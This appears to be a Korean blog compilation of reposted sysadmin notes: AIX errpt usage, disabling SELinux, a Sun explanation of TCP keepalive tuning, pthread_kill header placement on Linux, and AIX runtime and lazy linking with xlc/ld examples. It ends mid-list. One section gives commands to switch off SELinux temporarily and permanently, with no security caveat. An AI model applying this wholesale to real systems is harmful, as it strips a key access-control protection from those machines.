반응형

출처 : http://blog.naver.com/xers1?Redirect=Log&logNo=140155690851


<errpt 참조화일등의 정보출력>

TESTSvr:/var/adm/ras> /usr/lib/errdemon -l
Error Log Attributes
---------------------------------------------
Log File                /var/adm/ras/errlog
Log Size                1048576 bytes
Memory Buffer Size      32768 bytes
Duplicate Removal       true
Duplicate Interval      10000 milliseconds
Duplicate Error Maximum 1000 

데몬은 /usr/lib/errdemon

TESTSvr:/var/adm/ras> ps -ef|grep errpt


    root   61586       1   0   Feb 19      -  0:00 /usr/lib/errdemon 
    root  106688       1   0   Feb 19      -  0:00 errpt -c -s 0219005512 -d H -T TEMP 
    root  184754       1   0   Feb 19      -  0:00 errpt -c -s 0219005512 -d H -T PERM

 

※참조 : http://cafe.naver.com/aix.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=14666& (IBM 카페)

 

 

<사용법>

#errpt -d H  (H/W error)
#errpt -d S  (S/W error)

#errpt -a : error (세부내용 보기)
#errpt -s 1015084110  (1015084110 이후에 발생한 에러 출력)
#errpt -d S -s 1015084110 -T PERM  (1015084110 이후에 발생한 SW 에러중 Permanent 에러 출력)
#errpt -d S -s 1015084110 -T PERF  (1015084110 이후에 발생한 SW 에러중 Performance 에러 출력)
#errpt -d H -s 1015084110 -T PERF  (1015084110 이후에 발생한 HW 에러중 Performance 에러 출력)

[출처] errpt 사용법 (AIX)|작성자 


반응형
반응형

출처 : http://harryp.tistory.com/24



레드햇 계열 (Fedora, CentOS 등)에서 SELINUX 끄는 방법입니다.


1. 일시적으로 끄는 방법


다음의 명령어를 입력해 주시면 됩니다.


$ setenforce 0



2. 영구적(?)으로 끄는 방법


/etc/sysconfig/selinux 파일을 수정해 주시면 됩니다.


해당 파일의


SELINUX=enforcing



SELINUX=disabled


로 변경하시면 다음 부팅 부터 SELINUX가 비활성화 됩니다.

반응형
반응형

출처 : http://blog.naver.com/jwsanta?Redirect=Log&logNo=60009814755



INFODOC ID: 17468

개요: TCP Keepalive 해설
세부 설명:


Sun Microsystems는 TCP keepalive 매개 변수(tcp_keepalive_interval)를 15분 미만으로 설정하는 것은 바람직하지 않다고 봅니다.
이제 TCP keepalive를 설명한 후에, 왜 그것이 바람직하지 않은지 몇 가지 이유를 설명할 것입니다.

우선, keepalive가 TCP의 필수 요소가 아니라는 점을 말하고 싶습니다. keepalive는 TCP 규격에 나오는 옵션 기능의 하나이며, 제조업체의 재량에 따라 포함시킬 수 있습니다. Sun은 TCP에 이 기능을 포함시키기로 결정했습니다. 하지만 TCP 규격에서는 keepalive 기능을 포함시키는 경우 간격을 최소한 2시간 이상으로 기본 설정해야 한다고 규정합니다. 뿐만 아니라 이 기능을 옵션 기능으로 만들어야 합니다. 바로 그 점 때문에 TCP keepalive를 설정할 것인지 여부를 각 프로그램에게 맡기게 되는 것입니다.
프로그램이 TCP keepalive를 명시적으로 실행하지 않으면, 탐색 패킷(probe)을 보내지 않을 것입니다. TCP keepalive는 setsockopt()을 사용하여 소켓 옵션(SO_KEEPALIVE)을 설정하면 사용할 수 있게 됩니다.

소켓 옵션이 설정되면 tcp_keepalive_interval로 지정된 시간 동안 연결이 유휴 상태가 되었을 때 keepalive 탐색 패킷을 보냅니다.
응답 메시지가 수신될 때까지 또는 tcp_ip_abort_interval로 지정된 시간이 다 경과할 때까지 탐색 패킷을 보냅니다. 응답은 연결 상대측을 지연시키는 요소의 영향을 받습니다. 연결 상대측이 연결을 닫거나 다시 부팅을 하면 응답 메시지는 RST(reset packet)가 됩니다. 수신 주소에 도달할 수 없다는 ICMP 메시지를 수신하게 될 가능성도 있습니다. 라우터가 고장나거나 케이블 연결이 끊긴 경우에 그런 상황이 발생합니다. 그 외에도 많은 가능한 상황이 있습니다. 탐색 패킷 자체는 tcp_rexmit_interval로 지정된 간격으로 보내집니다.

keepalive를 15분 미만으로 설정해서는 안된다고 제안하는 이유 중의 하나는 바로 이것입니다. 그렇게 설정하면 TCP가 장애를 일으킬 가능성이 다분히 있습니다. tcp_rexmit_interval의 값은 3초로 기본 설정됩니다. 20초 정도로 높게 설정할 수도 있습니다. 그런데, tcp_keepalive_interval을 tcp_rexmit_interval 보다 작은 값으로 줄이면, 재전송하기 전에 keepalive 탐색 패킷을 보낼 것입니다. 하지만, 네트워크가 느리거나 팻 상태가 되면 재전송이 매우 중요합니다. 어쩌면 통신 상대측 시스템이 느려서 아직 응답하지 않은 것일 수도 있습니다. 재전송을 보내는 이유가 바로 이것입니다. 이것은 누군가에게 조금 전에 내가 한 말을 들었느냐고 묻는 것과 같습니다. 상대방이 없다고 판단되면 대화를 미리 중단하거나 상대방이 있는지 알아 보려고 시간을 낭비하게 될 것입니다. 상대측이 여전히 대화에 참여하고 있다면 그에게 직접 조금 전에 내가 한 말을 들었느냐고 다시 묻게 될 것입니다. 이렇게 되면 네트워크가 팻 상태가 됩니다. 네트워크가 팻 상태가 되면 될수록 제대로 작동이 되려면 재전송을 더 많이 해야 합니다. 그렇게 하여 TCP가 장애를 일으키게 됩니다.
(이제 tcp_rexmit_interval가 3개의 매개 변수, 즉 tcp_rexmit_interval_initial, tcp_rexmit_interval_max, 그리고 tcp_rexmit_interval_min로 나누어져 있다는 점을 지적해야겠습니다. 이 점에 대한 해설은 keepalive 해설에서 벗어난 것입니다. 여기서 사용하는 예에서는 주로 tcp_rexmit_interval_initial을 다룰 것입니다.)

텔넷의 경우에는 더 인상적입니다. 시스템에 텔넷 방식으로 연결되면 로그인을 하여 필요한 모든 작업을 할 수 있습니다. 하지만, 종종 작업을 멈추고 생각하는 시간도 있습니다. 그렇게 생각하는 동안 원격 호스트는 대기합니다. 그렇게 기다리는 동안에는 keepalive 탐색 패킷이 도착할 때까지 로컬 시스템과 원격 시스템 사이에 전송되는 패킷이 전혀 없습니다.
원격 호스트로 로그인한 다음에 10분 이상 생각에 잠기는 경우도 종종 있습니다. 그 10분 간격 동안 라우터가 다운이 되어 다시 부팅하게 되는 일도 쉽게 일어납니다. keepalive를 높은 값으로 설정하면 라우터 충돌을 느끼지 못하고 작업을 계속하게 될 것입니다.
하지만 1분 후에 keepalive 탐색 패킷를 보내면, 라우터는 다시 부팅할 시간이 없기 때문에 연결된 측이 준비가 되기 전에 연결이 닫히게 됩니다. 그러면 다시 로그인해야 합니다. 뿐만 아니라, 일단 연결이 닫히면 TIME_WAIT 상태로 유지된다는 점을 생각해야 합니다. TIME_WAIT 상태는 한쪽 호스트가 연결을 닫았는데, 늦게 도착한 패킷 때문에 다른 한 호스트에서는 연결을 계속 열어 두게 되는 상황을 방지하기 위해 사용합니다. 하지만, 이처럼 너무 일찍 연결을 종료시키면, 시스템에서 이용할 수 있는 모든 소켓이 닫히게 될 가능성이 있습니다. 그렇게 되면 전혀 연결이 되지 않을 것입니다. 이와 같은 시나리오에서는 15분이 훨씬 더 타당한 값입니다.

keepalive를 사용하는 주된 이유는 종단 시스템 중의 하나가 다운될 때 발생할 수 있는 한쪽만 열린 연결 상태를 정리하는 것입니다. 로컬 시스템이 대화를 하고 있는 원격 시스템이 다운이 되면, 로컬 시스템은 여전히 연결을 열어두고 있을 것입니다. 하지만, 다운된 그 시스템은 그렇지 않습니다. 이것을 한쪽만 열린 연결 상태라고 합니다. 네트워크 응용 프로그램이 시간 종료값이나 TCP keepalive 소켓 옵션을 설정하지 않는 한, 그 한쪽만 열린 연결 상태는 시스템이 다시 부팅할 때까지 그대로 유지됩니다. keepalive 탐색 패킷은 한쪽만 열린 연결 상태인지 확인하는데 사용되며, 한쪽만 열린 연결 상태이면 그 연결을 닫습니다.

이상의 내용은 몇 가지 상황에 대한 해설에 불과합니다. 분명히 사용자의 현재 상황에 훨씬 더 어울리는 시나리오가 더 많이 있을 것입니다. 기본적으로 여기서 말한 내용은 TCP 규격 자체가 keepalive의 기본 설정값이 최소한 두 시간이어야 한다고 규정한다는 점입니다. 더 나아가 Sun이 제안하는 요점은 TCP가 장애를 일으켜 네트워크를 팻 상태로 만드는 것을 방지하는 데 있습니다.
이것은 사용자가 수정하는 시스템과 네트워크의 다른 호스트에 그대로 적용됩니다. 문제의 네트워크에 전세계적인 인터넷이 포함되면 좀더 극적이 되는 것일 뿐입니다. 마지막 예에서는 keepalive를 다소 낮게 설정했을 때 발생하는 문제의 유형을 사용자 수준에서 설명합니다.

여기서 제안된 내용은 기술 지원과 개발 엔지니어링 분야에서 그리고 Sun Microsystems 전체에서 TCP를 다루는 작업을 하는 엔지니어들에게서 장기간에 걸쳐 보완된 것입니다.

TCP keepalive에 관하여 좀더 알고 싶다면 RFC 1122와 RFC 1123을 권합니다. Addison Wesley에서 발행한 책인 "TCP/IP Illustrated Volume I", ISBN: 0-201-63346-9의 필자인 Stevens도 멋지게 설명합니다.


제품 영역: Gen. Network
제품: TCP/IP
SUNOS 릴리즈: 해당 없음
하드웨어: 해당 없음


반응형
반응형



pthread 관련 함수 중

phtread_kill 함수는 특정 Thread에게 signal을 전송하는 기능을 수행하는 함수인데 관련 내용은 아래와 같다.


SYNTAX

int pthread_kill(pthread_t thread, int sig);

RETURN VALUE
성공 : 0
실패 : ERROR
ERRORS
ESRCH : thread ID로 해당 thread를 찾을 수 없는 경우
EINVAL : 잘못된 signal number를 전달할 경우



이 pthread_kill 함수를 코딩하여 멀티 플랫폼(Unix/Linux)에서 컴파일 하려고 할 때 

-lpthread 링크를 걸어야 하는 것 외에 추가적으로 명심해야 할 것이 있다.


그것은 바로 UNIX와 LINUX에서 오브젝트 파일을 컴파일 할 때 헤더파일 참조 위치가 다르다는 것인데

보통 코딩할 시 #include<pthread.h> 헤더파일 만을 추가 한 뒤 똑같은 코드를 

AIX, HP-UX(UNIX 계열), REDHAT,CENTOS(LINUX) 등에서 컴파일 하게 되면 재미 있는 현상을 경험 할 수 있다.


그것은 바로 LINUX에서 pthread_kill 함수를 찾을 수 없다는 내용.

error: 'pthread_kill' was not declared in this scope


AIX랑 HP-UX는 컴파일이 잘 되는데.. 

왜 리눅스 계열에서는 해당 에러가 발생하나 봤더니 그 이유는 /usr/include pthread.h 파일을 확인해 보면 알 수 있다.


유닉스 계열에서는 해당 함수가 /usr/include/pthread.h 또는 /usr/include/sys/pthread.h에 프로토 타입이 선언되어 있는 반면

리눅스는 찾을 수 없다..


이유는 리눅스에서는 해당 함수의 원형이 signal.h 파일에 포함되어 있기 때문이다.

시그널을 날리기 때문에 원형이 여기에 있는 것 같은데... 조금은 재미있는 배치다.

이것 때문에 삽질을... 얼마나 한겨..


끝.

반응형
반응형


dump 명령을 사용하면 실행파일이 런타임 링킹을 사용한 파일인지 아닌지 알아낼 수 있다. 

dump 명령과 -H 옵션으로 예제 프로그램 a.out에 대한 결과를 헤더정보와 함께 볼 수 있다.


어플리케이션에서는 모듈 func2.so의 심볼을 전혀 참조하지 않지만, 런타임 링킹 공유 오브젝트 func2.so가 의존 모듈 목록 (dependent module list)에 포함되어 있다. -brtl 옵션없이 실행파일을 컴파일하면, 의존 모듈 목록에 func2.so가 포함되지 않는다.


런타임 링커 (librtl.a의 아카이브 멤버 shr.o)가 의존 모듈 목록에 포함되어 있다.


$ dump -H a.out

.

.

.

***Import File Strings***

INDEX             PATH                                     BASE             MEMBER

0            /usr/lpp/xlopt:/usr/lib:/lib

1                                                             func1.so

2                                                             func2.so

3                                                             func3.so

4                                                             libc.a                 shr.o

5                                                             librtl.a                shr.o


실행파일 헤더에 기록된 런타임 링킹 공유 오브젝트의 순서는 실행파일을 만들 때 링커 명령어에서 오브젝트를 지정한 순서와 동일하다.

$ xlc main.c func1.so func2.so func3.so -brtl


dump 명령과 -Tv 옵션을 사용하면 어플리케이션이 참조한 심볼에 대한 정보를 볼 수 있다. 

위에서 가장 중요한 점은 func1.c의 func1이 호출하는 func3에 대한 진입점 (entry point)이 없다는 것이다.이전에 설명한 것처럼 모든 심볼은 프로그램을 링크할 때 해석이 되어야 하고, 해석된 심볼의 정보는 XCOFF 로더 섹션에 보여야 한다. 그러나 런타임 링킹의 경우 런타임 링커가 해석한 심볼은 XCOFF 로더 섹션에 보이지 않는다. .


$ dump -Tv a.out


[Index]        Value        Scn        IMEX            Sclass        Type                    IMPid            Name

[0]        0x20000448        .data                           RW         SECdef                 [noIMid]      __rtinit

.

.

.




공유 오브젝트 모듈 func1.so의 헤더정보를 보여주고 있다. 제일 마지막 줄의 .. 는 이 모듈 내의 해석되지 않은 심볼을 해석하려면 적어도 1개 이상의 런타임 링킹 공유 오브젝트가 필요함을 의미한다.



$ dump -H func1.so

func1.so:


***Import File Strings***

INDEX                PATH                                 BASE                                             MEMBER

0                   /usr/lib:/lib

1                                                                 .....


$ dump -Tv func1.so

의존하는 공유 오브젝트 모듈 func1.so의 로더 섹션 정보를 보여준다. 이 모듈에는 반입된 심볼 printf, func3 가 있다20. IMPid 컬럼의 .. 는 프로그램을 로드할 때 런타임 링커가 심볼을 해석하게 됨을 의미한다.


main 프로그램을 런타임 링킹 공유 오브젝트로 만들려면 다음과 같은 과정을 따른다.(볼드처리 된 부분 및 명령어 옵션은 달라질 수 있다)

$ xlc -c main.c func1.c func2.c func3.c

main.c:

func1.c:

func2.c:

func3.c:


$ ld -G -o main.so main.o -bexpall

ld: 0711-327 WARNING: Entry point not found: __start


$ ld -G -o func1.so func1.o -bnoentry -bexpall

$ ld -G -o func2.so func2.o -bnoentry -bexpall -lc

$ ld -G -o func3.so func3.o -bnoentry -bexpall -lc

$ xlc -o a.out main.so func1.so func2.so func3.so -brtl


LIBPATH를 지정하면, 프로그램은 다음과 같은 결과를 보여준다.

$ export LIBPATH=$PWD

$ ./a.out

within function func1 at line number: 7 in func1.c

within function func3 at line number: 7 in func3.c


a.out 의 참조 심볼 정보를 보고자 한다면 아래의 dump 옵션으로 확인할 수 있다.

$ dump -Tv a.out

 

어플리케이션에서 필요로 하는 모든 공유 오브젝트를 런타임 링킹 가능하도록 만드는 일은 기술적으로는 가능하지만, 어플리케이션의 성능 때문에 이렇게 하지 않는 편이 좋다. 일반적으로 AIX 아키텍쳐를 최대한 활용하려면 공유 모듈은 가능한 스스로를 포함하는 방식이어야 한다. 런타임 링킹은 반드시 필요한 때만 사용하는 편이 좋다. 다른 벤더의 UNIX 시스템에서 가져와서 포팅한 어플리케이션의 경우는 이러한 종류의 구성방식을 따르지 않기 때문에 AIX에서 구동하려면 포팅에 좀더 수고가 들게 된다. 모듈간에 인터페이스를 잘 정의해서 어플리케이션이 잘 조직된 구조로 만들어졌을 때 AIX에서 가장 좋은 성능을 발휘할 수 있다.


-brtl 링커 옵션을 써서 런타임 링크 방법으로 실행파일을 링크하면, 링커는 심볼 해석을 위해 공유 오브젝트와 라이브러리를 찾는데 이때 확장 탐색 순서 (extended search order)를 사용한다. 이러한 확장 탐색 순서를 사용하려면 런타임 링킹 공유 오브젝트는 libname.so 와 같은 방식의 이름을 가져야 한다.


-brtl 링커 옵션을 지정하면 링커는 libname.a와 libname.so를 찾게 되는데, -L 옵션으로 지정한 디렉토리와 디폴트 디렉토리(/usr/lib 와 /lib)에서 찾는다. libname.a 이름을 지정하는 것처럼 -l 옵션을 써서 libname.so 도 지정할 수 있다.


예를 들어 /project/lib 디렉토리에 저장되어 있는 런타임 링킹 공유 오브젝트 libfunc1.so와 a.out 을 링크할 때 오브젝트를 지정하기 위해 다음과 같은 방법을 사용할 수 있다. libname.so 와 같은 형식의 이름으로 하려면 런타임 링킹 공유 오브젝트의 이름을 이러한 방식으로 바꾸던가 라이브러리로 파일을 아카이브하면 된다.


1. xlc main.c /project/lib/libfunc1.so -brtl 이 방법은 런타임 링킹 방법의 이점을 약화시킨다. 프로그램을 실행할 때 /project/lib 디렉토리에 libfunc1.so이 있어야 하고, 프로그램을 로드할 때 libfunc1.so을 로드하게 된다.


2. cp /project/lib/libfunc1.so .; xlc main.c libfunc1.so -brtl 모든 런타임 링킹 공유 오브젝트가 현재 디렉토리에 있을 때 이러한 방법은 매우 유용하다. 그러나 한번 이렇게 고정된 방식으로 프로그램을 만들고 나면 특정 디렉토리에 계속 파일을 두어야 하는 불편한 점이 있으므로 세 번째 방법이 더 좋다.


3. xlc main.c -lfunc1 -L/project/lib -brtl 런타임 링킹 방법을 이용하여 파일을 생성할 때 가장 추천할 만한 방법이다. 




반응형
반응형


런타임 링킹을 사용하려면, 주 프로그램과 링크하기 이전에 이미 런타임 링킹 공유 오브젝트를 만들어 놓아야 한다. 런타임 링킹 공유 오브젝트를 만들려면 다음과 같다.


1. 소스 파일을 컴파일 한 다음 오브젝트 파일을 만든다.

2. -G 링커 옵션을 사용하여 오브젝트 파일을 다시 링크시킨 다음 런타임 링킹 공유 오브젝트 (.so)를 만든다.

(여러 오브젝트 파일로 한 개의 런타임 링킹 공유 오브젝트를 만들 수 있다.)

3. 런타임 링킹 공유 오브젝트를 라이브러리 아카이브(libname.a)에 넣는다. 이 과정은 필수과정은 아니다.


특정 옵션을 사용한다는 점만 제외하고, 위 과정은 보통의 공유 오브젝트를 만드는 과정과 동일하다.


func1.c, func2.c, func3.c 세 개의 파일로 런타임 링킹 공유 오브젝트를 만들려면 다음과 같이 하면 된다.

$ xlc -c func1.c func2.c func3.c

func1.c:

func2.c:

func3.c:

$ ld -G -o func1.so func1.o -bnoentry -bexpall

$ ld -G -o func2.so func2.o -bnoentry -bexpall -lc

$ ld -G -o func3.so func3.o -bnoentry -bexpall -lc

$ ls *.o *.so

func1.o func1.so func2.o func2.so func3.o func3.so


위 예제에서 사용한 링커 옵션은 다음과 같다.


-bnoentry

결과파일에는 시작위치(entry point)가 없다. 필요한 심볼을 유지하려면 -u 플랙을 사용하거나 반출파일을 사용해야 한다. -r, -bnogc, -bgcbtpass 옵션을 사용하면 오브젝트 파일에 모든 반출 심볼을 유지할 수 있다. -bnoentry 옵션이나 -bnox 옵션 중 어느것도 사용하지 않으면 시작위치(entry point)를 찾지 못하므로 경고메시지가 나온다.


-bexpall

반입심볼, 아카이브 멤버의 참조되지 않은 심볼, _로 시작하는 심볼을 제외하고 모든 전역심볼을 반출한다. 반출파일에 심볼을 명시하면 더 많은 심볼을 반출할 수 있다. 이 옵션은 -bautoexp 옵션으로 반출한 심볼에 영향을 주지 않는다. 이 옵션은 AIX 4.2 이후 버전에서만 적용된다.

이 옵션을 사용하면 반출파일을 따로 사용하지 않아도 된다. 그러나 반출파일을 사용하면 어떤 심볼을 반출할 지에 대해 확실히 지정할 수 있으며, 공유 오브젝트안의 전역심볼을 사용할 때 다른 공유 오브젝트에서 반출된 심볼과 충돌이 일어날 염려를 줄여줄 수 있다. 디폴트는 -bnoexpall 이다.


-lc

참조할 라이브러리를 지정한다. func2.o나 func3.o의 경우 printf()같은 심볼을 해석하려면 표준 C 라이브러리를 지정해야 한다. func1.o의 경우 func3함수를 호출하는 외에는 다른 함수를 호출하지 않기 때문에 라이브러리를 지정하지 않아도 된다.


-G

-G 링커 옵션을 사용하면 아래의 모든 옵션을 지정한 것과 동일하게 된다. 컴파일러 드라이버도 -G 옵션이 있다. 오브젝트 파일로 런타임 링킹 공유 오브젝트를 만들 때 컴파일러의 -G 옵션을 사용하지 마시오.


 옵션

 설명

 -berok

 해석하지 못한 심볼이 있어도 억지로 오브젝트 파일을 생성한다.

 -brtl

 런타임 링킹을 가능하게 한다. 명령행에서 나열한 모든 공유 오브젝트 (아카이브 멤버가 아닌 파일들)는 출력파일에 나열된다. 어플리케이션 프로그램을 시작할 때 시스템 로더는 모든 공유 모듈을 로드하고, 이 공유 오브젝트에서 반출된 심볼은 런타임 링커에서 사용된다.

 -bsymbolic

 특별히 특성을 지정하지 않고 심볼을 반출한 경우 심볼에 특성을 할당한다.

 -bnoautoexp

 런타임 링커 라이브러리에 대한 참조를 제거한다. -G 옵션으로 만든 모듈(-bnortllib 옵션을 포함한다)을 런타임 링킹시 활성화시키지만, 런타임 링커 라이브러리에 대한 참조는 제거된다. 런타임 라이브러리는 주요 실행파일과 링크할 때만 참조되어야 한다.

 -bnoautoexp

 심볼이 자동으로 반출되지 못하도록 한다.

 -bM:SRE

 공유(shared)되면서 다시 사용할 수 있는(reusable) 상태로 모듈을 만든다.



런타임 링킹 공유 오브젝트와 링크시켜서 프로그램을 만들려면 다음 과정을 따라야 한다.

1. main() 함수를 포함하는 소스 프로그램을 컴파일하여 오브젝트 파일을 만든다.

2. -G 링커 옵션으로 오브젝트 파일을 다시 링크시켜서 런타임 링킹 공유 오브젝트 (.so)를 만든다.

3. main 소스 프로그램과 런타임 링킹 공유 오브젝트를 -brtl 링커 옵션을 사용하여 링크한다.


main()이 포함된 소스 프로그램으로 만든 오브젝트 파일이 런타임 링킹 기능이 활성화되어 있지 않다면 다음과 같은 작업을 해줘야 한다.

적절한 컴파일러 드라이버를 사용해서(링커가 아니다) main()을 포함하는 소스 프로그램을 컴파일한 다음 -brtl 옵션을 사용하여 런타임 링킹 공유 오브젝트 파일과 링크시켜야 한다.


예제에서는 좀더 간단한 방법으로 a.out 을 만들었다.

$ ls *.o *.so

func1.o func1.so func2.o func2.so func3.o func3.so

$ xlc main.c func1.so func2.so func3.so -brtl

$ ls a.out

a.out

프로그램을 실행하면 의존하는 모듈인 func1.so를 시스템 로더가 찾을 수 없기 때문에 프로그램은 다음과 같은 에러메시지를 내보내며 수행되지 않는다.


$ ./a.out

exec(): 0509-036 Cannot load program ./a.out because of the following errors:

0509-150 Dependent module func1.so could not be loaded.

0509-022 Cannot load module func1.so.

0509-026 System error: A file or directory in the path name does not exist.


LIBPATH 값이 정의되어 있다면 다음처럼 동작할 것이다.

$ export LIBPATH=$PWD

$ ./a.out

within function func1 at line number: 7 in func1.c

within function func3 at line number: 7 in func3.c


컴파일러 드라이버(xlc)대신 링커 명령(ld)을 사용하면 다음과 같다.

$ xl-c main.c

$ ld main.o func1.so func2.so func3.so -brtl


생성한 실행파일이 필요한 시작(startup) 루틴을 가지고 있지 않기 때문에 다음과 같은 에러를 발생시킨다.

$ export LIBPATH=$PWD

$ ./a.out

exec(): 0509-036 Cannot load program ./a.out because of the following errors:

0509-151 The program does not have an entry point or the o_snentry field in the auxiliary header is invalid.

0509-194 Examine file headers with the 'dump -ohv' command.




반응형
반응형


AIX에서 실행파일을 만들거나 수행할 때, 공유 오브젝트와 라이브러리는 두 단계로 사용한다.


1. 링크할 때, 링커 에디터(ld 명령)는 실행파일에서 참조하는 정의되지 않은 심볼을 해석하기 위해 공유 오브젝트와 라이브러리를 찾는다. 만약 공유 오브젝트와 라이브러리가 참조된 모든 심볼을 가지고 있다면, 실행파일의 XCOFF헤더의 로더섹션은 그 공유 오브젝트나 라이브러리에 대한 참조를 포함하고 있어야 한다. 다시 말해서 심볼은 공유 오브젝트나 라이브러리에서 반출 (export)되고 실행파일로 반입 (import)된다.


2. 프로그램을 로드할 때, 시스템 로더 (새로운 프로세스를 시작하는 커널 구성요소)는 실행파일의 XCOFF 헤더 정보를 읽은 다음 참조한 공유 라이브러리의 위치를 찾는다. 참조하는 모든 공유 오브젝트와 라이브러리를 찾으면, 실행파일을 시작할 수 있다. 다음 시스템 로더는 실행파일의 여러 섹션을 해당되는 프로세스 주소 공간의 분할된 세그먼트로 로드한다. 프로그램에서 처음 참조하는 오브젝트라면 우선 공유 오브젝트의 프로그램 텍스트와 라이브러리를 전체 시스템 메모리로 로드하고, 추후 다른 프로그램들이 이를 공통으로 이용할 수 있게 된다.


오브젝트, 라이브러리와 어플리케이션 프로그램 코드를 링크시키기 위해 AIX에서는 몇가지의 링크 방법을 지원하고 있으며  이 기법들은 서로 상충되는 기법이 아니다.(단 lazy loading과 런타임 링킹의 경우는 제외한다.) 따라서 한가지 이상의 링킹 방법으로 실행파일을 만들 수 있다.


링킹 기법        심볼해석        실볼 rebound        모듈 로딩                링커 옵션            해당 섹션

디폴트                 링크시                  N/A               프로그램 로드시                    N/A                 AIX 디폴트 랭킹

정적                    링크시                  N/A               프로그램 로드시                 -bstatic               정적링킹

lazy loading         링크시                  N/A                       N/A                          -blazy                lazy loading

런타임                 링크시         프로그램 로드시        프로그램 로드시                 -brtl                   런타임링킹

동적로딩              런타임시           런타임시                   런타임시                       N/A                 동적 로딩


a. 정적으로 링킹된 오브젝트와 아카이브 멤버의 프로그램 텍스트는 실행파일 안에 포함된다.

b. lazy loading은 디폴트 링킹의 변종이다. 참조하는 공유 모듈을 로드하는 시간만을 제외하고, 다른 모든 점은 디폴트 링킹과 아주 흡사하다.

c. 동적 로딩은 링커 옵션이나 오브젝트 파일의 타입보다는 서브루틴에서 제공하는 일종의 프로그래밍 기법으로 볼 수 있다.


다음 옵션을 사용하지 않는 한 실행파일을 만들 때는 디폴트 링킹 방법을 사용하게 된다.


링킹 방식             옵션

정적 링킹              -bstatic

lazy loading          -blazy

런타임 링킹           -brtl


링커는 입력으로 두 종류의 파일(오브젝트 파일과 라이브러리)을 처리할 수 있다. AIX에서 오브젝트 파일과 라이브러리에 들어있는 아카이브 멤버는 모두 정적 파일일 수도 있고 동적 파일일 수도 있다. 정적 파일이던 동적파일이던 간에 디폴트 링킹에서는 링커에게 동일한 방법으로 파일이름을 지정한다. 정적 오브젝트는 항상 정적으로 링크되며, 실행파일 안에 포함된다. 공유 오브젝트는 보통 동적으로 링크되므로, 공유 라이브러리 코드는 실행파일 안에 포함되지 않는다. 그러나 공유 오브젝트는 정적으로 링크시킬 수 있다. 공유 오브젝트를 링크하면, 공유 프로그램 텍스트가 시스템 공유 라이브러리 세그먼트로 로드되고 참조하는 모든 프로세스에서 공유하게 된다.


공유 오브젝트가 미리 메모리에 로드되어 있지 않다면, 공유 오브젝트를 필요로 하는 프로그램을 처음 실행할 때 메모리에 로드하게 된다. 필요로 하는 페이지의 위치에 따라 VMM (virtual memory manager:가상 메모리 관리자)이 로딩과정을 수행하고, 이때 로드되는 페이지의 실제 크기는 현재 VMM의 옵션 설정에 따라 결정된다. VMM의 옵션은 AIX5L 버전 5.2 이상에서는 vmo 에서 설정하고, 그 외 버전의 AIX에서는 vmtune 명령으로 설정한다.


특히 공유 라이브러리를 C++ 로 작성한 경우에는 라이브러리끼리 서로 참조를 많이 하게 된다. 이런 경우는 페이지 요청이 있을 때마다 라이브러리를 로드하기보다는, 프로그램을 시작할 때 한꺼번에 필요한 라이브러리를 모두 메모리로 읽어 들이는 편이 더 빠르다.


이런 경우를 위해 환경변수를 다음처럼 설정한다.

LDR_CNTRL=PREREAD_SHLIB


1) Staic Linking

링커에서 공유 오브젝트와 라이브러리를 어떻게 다룰지 결정할 수 있도록 AIX에서는 -bdynamic과 -bstatic 옵션을 지원한다(-bdynamic, -bstatic 링커 옵션은 AIX 4.3부터 지원). 이 옵션은 토글옵션이며 같은 링커 명령에서 반복해서 사용할 수 있다. -bdynamic 옵션은 디폴트 옵션이며 공유 오브젝트를 공유하는 상태로 처리한다. 반면 -bstatic 옵션을 사용하게 되면 참조하는 모든 오브젝트를 정적으로 링크하고 공유 오브젝트도 정적으로 링크한다. 


xlc -o a.out main.o -lone -static func1.o -ltwo -bdynamic -lthree -bstatic -lfour -bdynamic

예를 들어 위와 같은 명령으로 프로그램을 만들게 되면 func1.o, -ltwo, -lfour 는 정적 오브젝트로 처리하고 -lone, -lthree 는 공유 오브젝트로 처리한다. 따라서 오브젝트 모듈 func1.o, 라이브러리 libone.a 와 libfour.a 에서 참조한 아카이브 멤버는 main.o와 정적으로 링크된다.


-bstatic 옵션을 사용하면 형식적으로 -bdynamic 옵션을 링크 명령의 제일 마지막에 써줘야 링커에서 시스템 라이브러리를 공유 오브젝트로 다루게 된다. 만약 -bdynamic 옵션을 제일 마지막에 써주지 않으면 시스템 라이브러리를 정적으로 링크하게 되므로 최종 실행파일의 크기가 훨씬 커지고, 특정 버전의 시스템 라이브러리와 정적으로 링크하기 때문에 다른 버전의 AIX에서는 프로그램이 수행되지 않을 수 있다. 명령문 제일 뒷 부분에 -bdynamic 옵션을 써줘야 libc.a 같은 시스템 라이브러리를 공유 오브젝트로 처리한다. 단 공유 오브젝트나 공유 아카이브 멤버를 정적으로 링크하는 방법은 64bit 개발환경에서 지원하지 않는다.


2) Lazy Loading

Lazy loading은 디폴트 링킹을 약간 바꾼 변종이며, 모듈내 함수를 실제로 실행할 때까지 모듈의 로딩을 늦추는 방법이다. 모듈을 로드할 때 시스템 로더는 디폴트로 연관관계가 있는 모듈을 모두 함께 로드한다. -blazy 링커 옵션을 써서 모듈을 링킹시키면 모듈 안의 함수를 실제로 호출할 때 모듈을 로드하지만, 심볼 해석은 링크할 때 이미 수행한다.


실행파일을 만들 때 런타임 링커 (-brtl 옵션 사용)를 지정하지 않은 경우에만 lazy loading이 동작한다. 참조하는 모듈정보가 모두 함수호출일 때만 모듈을 lazy loading 방식으로 로드할 수 있다. 만약 모듈 내의 변수를 참조하는 경우라면, 모듈은 정상적인 방법으로 로드된다.


예를 들어 main()에서 myfunc1()을 호출하고, myfunc1()은 libone.so 공유 모듈에 정의되어 있다고 하자. 그리고 myfunc1()이 공유 모듈 libtwo.so 의 myfunc2()를 조건에 따라 호출할 가능성이 있다면, libtwo.so는 lazy loading할 모듈에 해당한다. 만약 myfunc1()이 myfunc2()를 호출하지 않는다면, libtwo.so는 로드되지 않는다. 그러나 myfunc1()이 myfunc2()를 호출하면 lazy loading 코드가 load() 함수를 수행하여 libtwo.so를 로드하고, 함수 디스크립터를 수정해서 함수를 호출할 수 있도록 한다. 만약 libtwo.so를 로드할 수 없게 된다면 lazy loader의 에러 처리기(error-handler)를 호출하게 된다.


lazy loading을 사용한다고 해서 프로그램에 영향을 주지는 않지만, 다음 세가지의 예외상황이 있다.

1. 모듈이 다른 순서로 로드될 수 있기 때문에, 모듈의 로드 순서에 의존하는 프로그램의 경우에는 영향을 받는다. 심지어 어떤 경우는 모듈이 로드되지 않는 경우도 있으므로 주의하자.

